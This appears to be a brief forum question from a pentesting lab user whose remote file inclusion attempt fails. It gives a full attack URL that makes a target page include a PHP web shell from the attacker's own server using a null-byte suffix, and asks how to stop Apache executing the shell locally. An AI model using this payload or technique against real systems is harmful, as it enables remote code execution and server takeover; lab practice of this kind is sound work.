I am using Kali Linux in a pentesting lab.
By entering the following URL on the victim system I can get it to access my apache server (I see a 200 access response in my logs), but the php file renders on my system and then I spawn a webshell on my own box:
https://10.0.0.1/section.php?page=http://10.0.0.2/phpshell.php%00
How do I "change the binding" in apache to prevent it from running?
Changing it to a .txt
seems to prevent it from running on both systems; not sure that I can inject it that way.